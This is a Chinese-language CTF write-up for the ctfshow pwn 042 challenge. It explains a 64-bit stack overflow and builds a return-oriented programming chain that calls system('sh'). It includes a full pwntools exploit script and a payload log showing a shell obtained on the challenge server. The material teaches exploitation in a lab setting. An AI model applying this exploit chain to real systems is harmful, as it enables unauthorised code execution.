本文仅用于技术研究，禁止用于非法用途。
Author:枷锁
在前面的关卡中，我们分别学习了：
- pwn 040：64 位环境下的 ROP，利用
pop rdi传参调用system("/bin/sh")。 - pwn 041：当没有
/bin/sh时，寻找"sh"字符串作为替代。
来到PWN 042，题目将这两个考点结合在了一起：64 位环境 + 缺少/bin/sh。我们需要综合运用之前的知识，完成这道进阶版的拼图。
pwn 042 综合演练：64位 ROP 拼图升级版
题目信息与环境侦察
题目描述
pwn42: Hint: It has system, but don't have '/bin/sh'. Find something to replace it!运行一下程序
解题过程：首先使用checksec检查程序保护情况。
Arch:amd64-64-little(64位程序)
- RELRO:Partial RELRO
- Stack:No canary found(无栈哨兵)
- NX:NX enabled(栈不可执行)
- PIE:No PIE(地址固定)
侦察分析：
- 64位架构：参数必须通过寄存器（RDI）传递。
- NX 开启：必须使用 ROP。
- No PIE：Gadget 和字符串地址是固定的。
第一部分：代码审计与漏洞挖掘
1. 静态分析 (IDA Pro)
Main 函数：
int __fastcall main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); logo(); puts("Hint: It has system, but don't have '/bin/sh'..."); ctfshow(); // [漏洞点] puts("\nExit"); return 0; }漏洞函数 ctfshow：
ssize_t ctfshow() { _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF // [漏洞点]：read 读取 50 (0x32) 字节 // 50 > 10，存在栈溢出 return read(0, buf, 0x32u); }偏移量计算： 根据 IDA 注释[rbp-Ah]：
buf距离rbp的偏移是0xA(10 字节)。- 64 位下
Old RBP占 8 字节。 - 覆盖返回地址所需长度 =
10(buf) +8(Old RBP) =18 字节。
2. 寻找拼图零件
题目提供了两个辅助函数，这不仅是提示，更是我们的“弹药库”：
hint 函数：
__int64 hint() { system("echo flag"); // 提供了 system 函数的 PLT 地址 return 0; }useful 函数：
int useful() { return printf("sh"); // 提供了 "sh" 字符串 }第二部分：解题思路与 Payload 构造
1. 核心思路
我们需要调用system("sh")。 在 64 位下，这意味着：
- 将字符串
"sh"的地址放入RDI寄存器。 - 调用
system函数。 - 注意栈对齐 (Stack Alignment)问题。
2. 搜集地址与 Gadgets
我们需要的零件清单：
- system 地址：
elf.sym['system'] - “sh” 地址：
next(elf.search(b'sh')) - pop rdi; ret：用于将栈上的 “sh” 地址弹入 RDI。
- ret：用于对齐栈（防止
system中的movaps崩溃）。
3. Payload 结构解析
+----------------------+ | Padding (18 bytes) | +----------------------+ | pop rdi; ret 地址 | <-- 覆盖返回地址，跳转到这里 +----------------------+ | "sh" 的地址 | <-- pop rdi 执行时，RDI = "sh" +----------------------+ | ret 地址 | <-- 空转指令，用于栈对齐 +----------------------+ | system 的地址 | <-- 调用 system("sh") +----------------------+第三部分：实战操作
编写 Python 脚本进行自动化攻击。
from pwn import * # 1. 基础配置 context.log_level = 'debug' context.arch = 'amd64' # 2. 建立连接 # io = process('./pwn') io = remote('pwn.challenge.ctf.show', 28183) # 端口根据实际情况修改 # 3. 加载 ELF 文件 elf = ELF('./pwn') # 4. 搜集拼图零件 # [零件1] system 函数地址 system_addr = elf.plt['system'] log.success(f"System Address: {hex(system_addr)}") # [零件2] "sh" 字符串地址 # 搜索包含 "sh\x00" 或者单纯 "sh" 的地址 try: sh_addr = next(elf.search(b'sh')) log.success(f"'sh' Address: {hex(sh_addr)}") except StopIteration: log.error("String 'sh' not found!") # [零件3] Gadgets # 使用 ROP 模块自动寻找，或者使用 ROPgadget 工具手动查找 # ROPgadget --binary pwn --only "pop|ret" | grep rdi rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret = rop.find_gadget(['ret'])[0] log.success(f"pop rdi; ret: {hex(pop_rdi)}") log.success(f"ret: {hex(ret)}") # 5. 构造 Payload # 偏移量 = 10 (buf) + 8 (rbp) = 18 offset = 18 payload = flat([ b'a' * offset, # 1. 填充 pop_rdi, # 2. RDI = ... sh_addr, # 3. "sh" 字符串地址 ret, # 4. 栈对齐 (防止 movaps 崩溃) system_addr # 5. system("sh") ]) # 6. 发送 Payload io.sendline(payload) # 7. 获取 Shell io.interactive()运行结果
[DEBUG] Sent 0x2a bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 61 61 43 08 40 00 00 00 00 00 72 08 40 00 00 00 │aaC·│@···│··r·│@···│ 00000020 00 00 3e 05 40 00 00 00 00 00 50 05 40 00 00 00 │··>·│@···│··P·│@···│ 00000030 00 00 │··│ [*] Switching to interactive mode $ cat /ctfshow_flag ctfshow{...}总结：PWN 042 的核心逻辑
| 维度 | PWN 040 (基础 64位 ROP) | PWN 042 (进阶 64位 ROP) |
|---|---|---|
| 目标 | system("/bin/sh") | system("sh") |
| 字符串 | 直接给出/bin/sh | 需搜索sh |
| Gadget | pop rdi; ret | pop rdi; ret |
| 栈对齐 | 需注意 | 需注意 (添加 ret gadget) |
核心启示： 这道题再次强调了“环境适应性”。
- 架构变了（64位），我们就用寄存器传参。
- 字符串变了（没了
/bin/sh），我们就搜sh。 - 栈不对齐了（Crash），我们就加
ret。
只要掌握了这些基本原理，无论题目形式如何变化，我们都能找到解题的路径。
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